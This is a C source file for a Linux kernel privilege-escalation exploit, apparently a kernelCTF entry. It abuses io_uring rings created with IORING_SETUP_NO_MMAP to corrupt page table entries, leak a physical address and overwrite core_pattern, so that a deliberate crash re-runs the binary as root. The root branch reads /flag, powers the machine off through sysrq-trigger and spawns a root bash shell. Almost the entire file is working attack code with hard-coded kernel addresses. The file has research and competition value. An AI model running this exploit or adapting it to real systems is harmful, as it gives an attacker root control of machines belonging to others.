#define _GNU_SOURCE
#include <arpa/inet.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/ethtool.h>
#include <linux/if_packet.h>
#include <linux/io_uring.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/signalfd.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stddef.h>

#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_DEFAULT "\033[0m"

#define logd(fmt, ...)                                                         \
  dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...)                                                         \
  dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__,        \
          __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...)                                                         \
  dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__,       \
          __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...)                                                         \
  dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__,          \
          __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                                                          \
  do {                                                                         \
    loge(fmt, ##__VA_ARGS__);                                                  \
    loge("Exit at line %d", __LINE__);                                         \
    exit(1);                                                                   \
  } while (0)

#define SYSCHK(x)                                                              \
  ({                                                                           \
    typeof(x) __res = (x);                                                     \
    if (__res == (typeof(x))-1)                                                \
      err(1, "SYSCHK(" #x ")");                                                \
    __res;                                                                     \
  })

#define PAGE_SIZE 4096
#define PAGE_MASK (~(PAGE_SIZE-1))
#define PAGE_ALIGN(x) ((x + PAGE_SIZE - 1) & PAGE_MASK)

#define NUM_SQ_PAGES  8                                       //  Not a critical data, 16, 32 and other numbers will be ok too
#define SQ_SZ         PAGE_ALIGN(NUM_SQ_PAGES * PAGE_SIZE)
#define CQ_SZ         PAGE_ALIGN(NUM_SQ_PAGES / 2 /* Without IORING_SETUP_CQSIZE flag set, p->cq_entries = 2 * p->sq_entries; */ * PAGE_SIZE + /* offsetof(struct io_rings, cqes) */0x40)
#define NUM_CQ_PAGES  (CQ_SZ / PAGE_SIZE)                     //  To solve the align issue
#define SQ_ENTRIES    (SQ_SZ / sizeof(struct io_uring_sqe))   //  Easy math

#define MB (1024 * 1024)
#define PTRS_PER_PMD	512                                     //  PAGE_SIZE / sizeof(pte_t)
#define PMD_SZ  (PTRS_PER_PMD * PAGE_SIZE)                    //  2 * MB
#define SPRAY_PIPE_NUM (0x200)                                //  Suitable size to drain order-0 pages
#define SPRAY_PMD_NUM (2 * SPRAY_PIPE_NUM)                    //  Just twice as the num of pipe pages to make sure can reuse the pages back
#define SPRAY_PAGE_SZ (0x4000)                                //  0x4000 / 0x1000 * sizeof(pte_t) = 2 * sizeof(io_cqe), one fore leak, one for write
#define _BRK (0xFFFFFFFF84E00000)                             //  One quick way to obtain this: open gdb and type `p/x _brk_start`
#define CORE_PATTERN (0xFFFFFFFF83DB3720)                     //  `p core_pattern`
#define SPRAY_PAGES_MMAP_START (0x200000000UL)                //  Need enough space to avoid overlapping with other mappings
#define BUF_SZ (PAGE_SIZE)                                    //  Just a normal buffer for r/w
#define PG_VEC_NUM (0x10)

static bool writeFile(const char *file, const char *what, ...) {
  char buf[1024];
  va_list args;
  va_start(args, what);
  vsnprintf(buf, sizeof(buf), what, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;
  int len = strlen(buf);
  int fd = open(file, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return false;
  if (write(fd, buf, len) != len) {
    int err = errno;
    close(fd);
    errno = err;
    return false;
  }
  close(fd);
  return true;
}

static void sandboxCommon() {
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  setsid();
  struct rlimit rlim;
  rlim.rlim_cur = rlim.rlim_max = (200 << 20);
  setrlimit(RLIMIT_AS, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 32 << 20;
  setrlimit(RLIMIT_MEMLOCK, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 136 << 20;
  setrlimit(RLIMIT_FSIZE, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 1 << 20;
  setrlimit(RLIMIT_STACK, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 0x8000;
  if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) {
    rlim.rlim_cur = rlim.rlim_max = 4096;
    if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) {
      die("setrlimit(RLIMIT_NOFILE, &rlim): %m");
    }
  }

  if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
    die("unshare(CLONE_NEWUSER | CLONE_NEWNS): %m");
  }

  if (unshare(CLONE_NEWNET)) {
    die("unshare(CLONE_NEWNET): %m");
  }

  typedef struct {
    const char *name;
    const char *value;
  } sysctl_t;

  static const sysctl_t sysctls[] = {
      {"/proc/sys/kernel/shmmax", "16777216"},
      {"/proc/sys/kernel/shmall", "536870912"},
      {"/proc/sys/kernel/shmmni", "1024"},
      {"/proc/sys/kernel/msgmax", "0x8000"},
      {"/proc/sys/kernel/msgmni", "1024"},
      {"/proc/sys/kernel/msgmnb", "1024"},
      {"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
  };
  unsigned i;
  for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
    writeFile(sysctls[i].name, sysctls[i].value);
}

static void setCpuAffinity(int cpu_n, pid_t pid) {
  cpu_set_t set;

  CPU_ZERO(&set);
  CPU_SET(cpu_n, &set);

  if (sched_setaffinity(pid, sizeof(set), &set) < 0) {
    die("sched_setaffinity: %m");
  }
}

void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv,
                                unsigned int timeout) {
  int v = TPACKET_V3;
  int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
  if (rv < 0) {
    die("setsockopt(PACKET_VERSION): %m");
  }

  struct tpacket_req3 req;
  memset(&req, 0, sizeof(req));
  req.tp_block_size = block_size;
  req.tp_frame_size = frame_size;
  req.tp_block_nr = block_nr;
  req.tp_frame_nr = (block_size * block_nr) / frame_size;
  req.tp_retire_blk_tov = timeout;
  req.tp_sizeof_priv = sizeof_priv;
  req.tp_feature_req_word = 0;

  rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
  if (rv < 0) {
    die("setsockopt(PACKET_RX_RING): %m");
  }
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv,
                        int timeout) {
  int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  if (s < 0) {
    die("socket(AF_PACKET): %m");
  }

  packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv,
                             timeout);

  struct sockaddr_ll sa;
  memset(&sa, 0, sizeof(sa));
  sa.sll_family = PF_PACKET;
  sa.sll_protocol = htons(ETH_P_ALL);
  sa.sll_ifindex = if_nametoindex("lo");
  sa.sll_hatype = 0;
  sa.sll_pkttype = 0;
  sa.sll_halen = 0;

  int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
  if (rv < 0) {
    die("bind(AF_PACKET): %m");
  }

  return s;
}

int pagealloc_pad(int count, int size) {
  return packet_socket_setup(size, 2048, count, 0, 10000);
}

// core_pattern exploit taken from
// https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-52447_cos/exploit/cos-105-17412.294.10/exploit.c#L444
int check_core() {
  // Check if /proc/sys/kernel/core_pattern has been overwritten
  char buf[0x100] = {};
  int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
  SYSCHK(read(core, buf, sizeof(buf)));
  close(core);
  return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
void crash(char *cmd) {
  int memfd = memfd_create("", 0);
  SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
  dup2(memfd, 666);
  close(memfd);
  while (check_core() == 0)
    usleep(100);
  /* Trigger program crash and cause kernel to executes program from
   * core_pattern which is our "root" binary */
  *(size_t *)0 = 0;
}

void pwn() {
  int pipe_fds[SPRAY_PIPE_NUM][2] = {};
  void *page_spray[SPRAY_PMD_NUM] = {};
  char buf[BUF_SZ] = {};
  void *sqes, *rings;

  // We need a looser limit on files to increase stability & CAP_NET_RAW to spray pg_vec.
  sandboxCommon();

  // Reduce noise when performing page fengshui.
  setCpuAffinity(0, getpid());

  // Prepare pages for spraying ptes.
  for (int i = 0; i < SPRAY_PMD_NUM; i++) {
    page_spray[i] =
        SYSCHK(mmap((void *)(SPRAY_PAGES_MMAP_START + i * PMD_SZ), SPRAY_PAGE_SZ,
                    PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0));
  }

  // We choose pipe pages to help us do page fengsui because it is easy to spray.
  for (int i = 0; i < SPRAY_PIPE_NUM; i++) {
    SYSCHK(pipe(pipe_fds[i]));
    SYSCHK(write(pipe_fds[i][1], buf, 1));
  }

  // We keep the first half of the pipe pages; hopefully, they can keep the discontinuous order-0 pages. Free those whose indices satisfy `indices % 4 == 0`.
  for (int i = SPRAY_PIPE_NUM / 2; i < SPRAY_PIPE_NUM; i += 4) {
    SYSCHK(close(pipe_fds[i][0]));
    SYSCHK(close(pipe_fds[i][1]));
    pipe_fds[i][0] = 0;
    pipe_fds[i][1] = 0;
  }

  // Spray pg_vec to hopefully reuse one of the freed slots for a `pg_vec` array.(We only care about the first `pg_vec` buffer, which later will serve as CQ’s Page A.)
  int cq_page_a_fd = pagealloc_pad(NUM_CQ_PAGES, PAGE_SIZE);

  // Free the pages whose indices satisfy `indices % 4 != 0`, and spray page table entries in their place.
  for (int i = SPRAY_PIPE_NUM / 2; i < SPRAY_PIPE_NUM; i++) {
    if (!pipe_fds[i][0])
      continue;
    SYSCHK(close(pipe_fds[i][0]));
    SYSCHK(close(pipe_fds[i][1]));
    pipe_fds[i][0] = 0;
    pipe_fds[i][1] = 0;
  }

  // Spray pmd page
  for (int i = 0; i < SPRAY_PMD_NUM; i++)
      *(char *)((size_t)page_spray[i]) = 'A';
  
  // Preserving SQ Functionality
  int sqes_fd = pagealloc_pad(1, SQ_SZ);
  sqes =
      SYSCHK(mmap((void *)0x1234000000, SQ_SZ, PROT_READ | PROT_WRITE,
                  MAP_SHARED | MAP_POPULATE, sqes_fd, 0));
  SYSCHK(mmap((void *)(0x1234000000 + SQ_SZ - PAGE_SIZE), SQ_SZ,
              PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_POPULATE,
              sqes_fd, 0));

  // Likely CQ’s Page A ends up adjacent to the page table entries we intend to corrupt
  rings = SYSCHK(mmap((void *)0xdead0000, CQ_SZ,
                             PROT_READ | PROT_WRITE, MAP_SHARED, cq_page_a_fd, 0));
  SYSCHK(mmap((void *)0xdead0000 + CQ_SZ - PAGE_SIZE, CQ_SZ,
              PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, cq_page_a_fd, 0));

  // *&rings->sq.tail = ctx->sq_entries
  *(volatile unsigned int *)(rings + 4) = SQ_ENTRIES;

  // Trigger the vulnerability
  struct io_uring_params params = {
      .flags = IORING_SETUP_NO_MMAP | IORING_SETUP_NO_SQARRAY,
      .sq_off = {.user_addr = (unsigned long)sqes},
      .cq_off = {.user_addr = (unsigned long)rings}};
  int uring_fd = SYSCHK(
      syscall(__NR_io_uring_setup, /*entries=*/ SQ_ENTRIES, &params));
  logi("uring_fd @ %d", uring_fd);

  // Fill the CQ's Page A
  int sqes_offset = 0;
  struct io_uring_sqe *sqe = NULL;
  for (; sqes_offset < (PAGE_SIZE - /* offsetof(struct io_rings, cqes) */0x40) * (sizeof(struct io_uring_sqe) / sizeof(struct io_uring_cqe)); sqes_offset += sizeof(struct io_uring_sqe)) {
    sqe = (struct io_uring_sqe *)(sqes + sqes_offset);
    memset(sqe, 0, sizeof(*sqe)); //  NOP
  }

  // Set up the sqe to overwrite the first page table entry
  sqe = (struct io_uring_sqe *)(sqes + sqes_offset);
  memset(sqe, 0, sizeof(*sqe));
  sqe->opcode = IORING_OP_NOP;
  // 0x9c000: fixed address, please refer to https://github.com/google/security-research/blob/ca13fc6d5e7184b13bb82a91dd3a6fa2430fdbd7/pocs/linux/kernelctf/CVE-2023-6560_mitigation/docs/exploit.md#leak-through-write
  // 0x8000000000000067: page table entry flags (_PAGE_BIT_PRESENT | _PAGE_BIT_RW | _PAGE_BIT_USER | _PAGE_BIT_ACCESSED | _PAGE_BIT_DIRTY | _PAGE_BIT_NX)
  sqe->user_data = 0x9c000 | 0x8000000000000067;
  sqe++;

  int enter_res;
  for (int i = 0; i < (PAGE_SIZE - /* offsetof(struct io_rings, cqes) */0x40) / sizeof(struct io_uring_cqe); i++) {
    enter_res = SYSCHK(syscall(__NR_io_uring_enter, uring_fd, 1, 0, 0, 0));
  }

  // Overwrite the first page table entry to leak
  enter_res = SYSCHK(syscall(__NR_io_uring_enter, uring_fd, 1, 0, 0, 0));

  // Find corrupted page table entry
  size_t victim_addr = -1, leaked_brk = -1;
  for (int i = 0; i < SPRAY_PMD_NUM; i++) {
    if (*(size_t *)(page_spray[i]) != 'A') {
      victim_addr = (size_t)page_spray[i];
      leaked_brk = *(size_t *)page_spray[i];
      leaked_brk &= PAGE_MASK;
#define KASLR_ON
#ifdef KASLR_ON
      leaked_brk -= 0x4000;
#else
      leaked_brk -= 0x1000;
#endif
      logi("fake_page @ %lx phys_leak @ %lx", victim_addr, leaked_brk);
      break;
    }
  }

  // Not found, just exit and pray the kernel won't crash :)
  if (victim_addr == -1) {
    loge("Bad luck, but may try again...");
    exit(EXIT_FAILURE);
  }

  // Found, locate the core_pattern
  size_t core_pattern_pa = leaked_brk + (CORE_PATTERN - _BRK); // core_pattern
  size_t core_pattern_pte = (core_pattern_pa & PAGE_MASK) | 0x8000000000000067;
  logi("core_pattern_pte @ %lx", core_pattern_pte);

  // Set up the sqe to overwrite the second page table entry
  sqe->opcode = IORING_OP_NOP;
  sqe->user_data = core_pattern_pte;
  sqe++;

  // Overwrite the second page table entry to gain the ability to modify core_pattern
  enter_res = SYSCHK(syscall(__NR_io_uring_enter, uring_fd, 1, 0, 0, 0));

  char *fake = "|/proc/%P/fd/666 %P";
  strcpy((void *)(victim_addr + (sizeof(struct io_uring_cqe) / 8) * PAGE_SIZE + (core_pattern_pa & 0xfff)), fake);
  if (fork()) {
    sleep(100);
  }
  crash("");
}
int main(int argc, char **argv) {
  if (argc > 1) {
    // This section of code will be execute by root!
    int pid = strtoull(argv[1], 0, 10);
    int pfd = syscall(SYS_pidfd_open, pid, 0);
    int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
    int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
    int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
    dup2(stdinfd, 0);
    dup2(stdoutfd, 1);
    dup2(stderrfd, 2);
    /* Get flag and poweroff immediately to boost next round try in PR
     * verification workflow*/
    SYSCHK(system("cat /flag;echo o>/proc/sysrq-trigger;"));
    execlp("bash", "bash", NULL);
    exit(0);
  }
  // ? As the instance will poweroff after we get the flag
  while (1) {
    pid_t pid = fork();
    if (pid < 0) {
      perror("fork");
      exit(EXIT_FAILURE);
    }

    if (pid == 0) {
      pwn();
    }

    int status;
    waitpid(pid, &status, 0);
  }
}